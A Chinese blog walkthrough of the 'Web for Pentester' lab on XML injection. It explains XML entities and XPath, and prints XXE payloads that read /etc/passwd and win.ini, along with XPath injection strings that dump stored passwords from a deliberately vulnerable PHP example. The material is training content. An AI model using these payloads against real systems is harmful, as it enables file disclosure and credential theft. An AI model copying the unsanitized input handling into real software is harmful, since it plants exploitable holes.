【web_for_pentester】XML注入

一、XML介绍

二、XML的ENTITY实体

-------------------------------------------------------------------------------本文长期更新------------------------------------------------------------------Orz

ENTITY实体:

如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。

XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。

ENTITY的定义语法:

<!DOCTYPE  文件名 [
<!ENTITY  实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。

例如:定义一个name值为“Tom”,就可以在XML任何地方引用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >

]>
<root>
<name>&name;</name>
</root>

正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用.一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。

例如 Linux和Windows下的读取路径不一样

//Linux下读取/etc/passwd
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>

//Windows下读取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>

 

三、Example

Example1

下面先看一下后端代码:

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET[xml]);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

simplexml_load_string() 函数可以转换形式良好的XML字符串为SimpleXMLElement对象

print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印”\n”。因此用var_dump()函数更适合调试。打印关于变量的易于理解的信息,如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。 记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。

 

利用方法

先构造基本框架  注意&name后要有;原文应该是笔误漏掉了。xml全部要写到一行里,构造好的语句需要进行URL编码

<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL编码:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3

尝试读取本地文件/etc/passwd

<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>

//URL编码:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E

【web_for_pentester】XML注入

 

 

Example2

后端代码:

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.=‘".$_GET[name]."‘]/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

可以看到源代码先定义了一个$x变量,里面包含了一个xml。

然后把的 XML 字符串转换为 SimpleXMLElement 对象,并赋值给$res

然后查询了users里user里的name 值为$name的,并返回其所有父节点的message里面的值。

然后执行查询,最后while循环显示查询的值。

 

XPath介绍:

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

因此,对 XPath 的理解是很多高级 XML 应用的基础。

 

XPath基本语法:

路径表达式         结果
bookstore         选取 bookstore 元素的所有子节点。
/bookstore         选取根元素 bookstore。
bookstore/book     选取属于 bookstore 的子元素的所有 book 元素。
//book             选取所有 book子元素,而不管它们在文档中的位置。
bookstore//book     选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
//@lang             选取名为 lang 的所有属性。

/表示从XML文件中的根节点开始解析

//表示在XML文件中匹配已选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,下面列举了几个常用的。

ancestor            选取当前节点的所有先辈(父、祖父等)。
ancestor-or-self    选取当前节点的所有先辈(父、祖父等)以及当前节点本身。
attribute            选取当前节点的所有属性。
child                选取当前节点的所有子元素。
descendant            选取当前节点的所有后代元素(子、孙等)。
descendant-or-self    选取当前节点的所有后代元素(子、孙等)以及当前节点本身。
following            选取文档中当前节点的结束标签之后的所有节点。
namespace            选取当前节点的所有命名空间节点。
parent                选取当前节点的父节点。

了解了轴,再来了解一下,下面举几个例子更便于了解:

child::book            选取所有属于当前节点的子元素的 book 节点。
attribute::lang        选取当前节点的 lang 属性。
child::*            选取当前节点的所有子元素。
attribute::*        选取当前节点的所有属性。
child::text()        选取当前节点的所有文本子节点。
child::node()        选取当前节点的所有子节点。
descendant::book    选取当前节点的所有 book 后代。
ancestor::book        选择当前节点的所有 book 先辈。
ancestor-or-self::book    选取当前节点的所有 book 先辈以及当前节点(如果此节点是 book 节点)
child::*/child::price    选取当前节点的所有 price 孙节点。

 最后的最后,我们尝试构造,还是注入的思路,先尝试正确闭合,然后注释掉后面没用的。

?name=hacker or 1=1]/parent::*/child::node()%00 
//%00注释掉后面的语句
// /parent::*/child::node()查看当前节点的所有父节点的子节点

【web_for_pentester】XML注入

 

 

?name=hacker or 1=1]/parent::*/password%00

【web_for_pentester】XML注入

 

【web_for_pentester】XML注入

上一篇:MySQL学习笔记


下一篇:ubuntu-mysql安装